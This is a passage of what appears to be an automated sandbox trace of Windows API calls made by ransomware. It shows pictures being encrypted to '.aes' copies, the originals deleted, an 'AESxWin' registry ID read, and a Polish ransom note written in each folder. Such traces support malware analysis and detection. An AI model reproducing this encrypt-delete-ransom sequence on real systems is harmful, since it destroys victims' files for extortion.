lpOldMode=0x77ceae4) returned 1 [0083.768] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0083.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif", lpFilePart=0x0) returned 0x33 [0083.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0083.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\2mlpi.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dff92d0, ftCreationTime.dwHighDateTime=0x1d2f989, ftLastAccessTime.dwLowDateTime=0xe07427d0, ftLastAccessTime.dwHighDateTime=0x1d2ffe8, ftLastWriteTime.dwLowDateTime=0xe07427d0, ftLastWriteTime.dwHighDateTime=0x1d2ffe8, nFileSizeHigh=0x0, nFileSizeLow=0x5d49)) returned 1 [0083.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0083.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif", lpFilePart=0x0) returned 0x33 [0083.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0083.817] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\2mlpi.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0083.817] GetFileType (hFile=0x7c8) returned 0x1 [0083.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0083.817] GetFileType (hFile=0x7c8) returned 0x1 [0083.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif.aes", lpFilePart=0x0) returned 0x37 [0083.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0083.817] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\2mlpi.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0083.818] GetFileType (hFile=0x7ec) returned 0x1 [0083.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0083.818] GetFileType (hFile=0x7ec) returned 0x1 [0083.818] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0083.826] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0083.826] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0083.834] LocalFree (hMem=0x703ef10) returned 0x0 [0083.834] GetAdaptersAddresses () returned 0x6f [0083.839] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0083.839] GetAdaptersAddresses () returned 0x0 [0083.844] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.850] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.850] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.885] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.885] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0083.891] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0083.891] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0083.897] LocalFree (hMem=0x6ff2da0) returned 0x0 [0083.898] LocalFree (hMem=0x7074460) returned 0x0 [0083.898] GetBestInterfaceEx (in: pDestAddr=0x287ebac*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0083.989] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\2mLpi.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\2mlpi.gif")) returned 1 [0083.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x44 [0083.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0083.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0083.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0083.990] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x7c8) returned 0x0 [0083.991] RegQueryValueExW (in: hKey=0x7c8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0083.991] RegQueryValueExW (in: hKey=0x7c8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x284116c, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0083.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x44 [0083.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0083.991] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0083.991] GetFileType (hFile=0x7ec) returned 0x1 [0083.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0083.991] GetFileType (hFile=0x7ec) returned 0x1 [0083.991] WriteFile (in: hFile=0x7ec, lpBuffer=0x284a164*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x284a164*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0083.992] CloseHandle (hObject=0x7ec) returned 1 [0083.992] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0084.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif", lpFilePart=0x0) returned 0x38 [0084.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0084.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\jp-9xm1bmm.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f1c970, ftCreationTime.dwHighDateTime=0x1d30293, ftLastAccessTime.dwLowDateTime=0x2fb5e360, ftLastAccessTime.dwHighDateTime=0x1d2f805, ftLastWriteTime.dwLowDateTime=0x2fb5e360, ftLastWriteTime.dwHighDateTime=0x1d2f805, nFileSizeHigh=0x0, nFileSizeLow=0x103a3)) returned 1 [0084.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0084.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif", lpFilePart=0x0) returned 0x38 [0084.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0084.066] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\jp-9xm1bmm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0084.066] GetFileType (hFile=0x7ec) returned 0x1 [0084.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0084.066] GetFileType (hFile=0x7ec) returned 0x1 [0084.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif.aes", lpFilePart=0x0) returned 0x3c [0084.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0084.066] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\jp-9xm1bmm.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0084.066] GetFileType (hFile=0x8e4) returned 0x1 [0084.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0084.066] GetFileType (hFile=0x8e4) returned 0x1 [0084.067] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0084.092] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0084.092] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0084.100] LocalFree (hMem=0x703ef10) returned 0x0 [0084.100] GetAdaptersAddresses () returned 0x6f [0084.104] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0084.104] GetAdaptersAddresses () returned 0x0 [0084.109] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.116] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.116] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.127] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.127] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.134] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.134] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.140] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.140] LocalFree (hMem=0x7074460) returned 0x0 [0084.141] GetBestInterfaceEx (in: pDestAddr=0x286bbd4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0084.245] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\JP-9xm1BMM.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\jp-9xm1bmm.gif")) returned 1 [0084.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x44 [0084.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0084.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec442360, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xec442360, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xec442360, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0084.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0084.247] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0084.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png", lpFilePart=0x0) returned 0x3d [0084.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0084.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\m8qmiadbo6rfghx.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb79a7b0, ftCreationTime.dwHighDateTime=0x1d302b0, ftLastAccessTime.dwLowDateTime=0x23c44430, ftLastAccessTime.dwHighDateTime=0x1d3051a, ftLastWriteTime.dwLowDateTime=0x23c44430, ftLastWriteTime.dwHighDateTime=0x1d3051a, nFileSizeHigh=0x0, nFileSizeLow=0x13127)) returned 1 [0084.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0084.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png", lpFilePart=0x0) returned 0x3d [0084.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0084.292] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\m8qmiadbo6rfghx.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0084.292] GetFileType (hFile=0x7ec) returned 0x1 [0084.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0084.292] GetFileType (hFile=0x7ec) returned 0x1 [0084.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png.aes", lpFilePart=0x0) returned 0x41 [0084.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0084.292] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\m8qmiadbo6rfghx.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0084.293] GetFileType (hFile=0x8e4) returned 0x1 [0084.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0084.293] GetFileType (hFile=0x8e4) returned 0x1 [0084.293] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0084.304] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0084.304] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0084.311] LocalFree (hMem=0x703ef10) returned 0x0 [0084.311] GetAdaptersAddresses () returned 0x6f [0084.315] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0084.315] GetAdaptersAddresses () returned 0x0 [0084.320] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.326] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.326] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.379] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.380] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.386] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.386] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.392] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.392] LocalFree (hMem=0x7074460) returned 0x0 [0084.392] GetBestInterfaceEx (in: pDestAddr=0x284f918*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0084.470] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\M8qmIADbo6Rfghx.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\m8qmiadbo6rfghx.png")) returned 1 [0084.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x44 [0084.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0084.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec442360, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xec442360, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xec442360, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0084.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0084.471] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0084.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif", lpFilePart=0x0) returned 0x34 [0084.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0084.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\_g8eg0.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74eeb200, ftCreationTime.dwHighDateTime=0x1d2fceb, ftLastAccessTime.dwLowDateTime=0x97b62190, ftLastAccessTime.dwHighDateTime=0x1d2ff09, ftLastWriteTime.dwLowDateTime=0x97b62190, ftLastWriteTime.dwHighDateTime=0x1d2ff09, nFileSizeHigh=0x0, nFileSizeLow=0x1707e)) returned 1 [0084.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0084.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif", lpFilePart=0x0) returned 0x34 [0084.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0084.504] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\_g8eg0.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0084.504] GetFileType (hFile=0x7ec) returned 0x1 [0084.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0084.504] GetFileType (hFile=0x7ec) returned 0x1 [0084.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif.aes", lpFilePart=0x0) returned 0x38 [0084.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0084.504] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\_g8eg0.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0084.505] GetFileType (hFile=0x8e4) returned 0x1 [0084.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0084.505] GetFileType (hFile=0x8e4) returned 0x1 [0084.505] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0084.565] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0084.565] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0084.572] LocalFree (hMem=0x703ef10) returned 0x0 [0084.572] GetAdaptersAddresses () returned 0x6f [0084.577] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0084.577] GetAdaptersAddresses () returned 0x0 [0084.582] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.589] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.589] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.615] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.615] GetPerAdapterInfo (in: IfIndex=0x1, 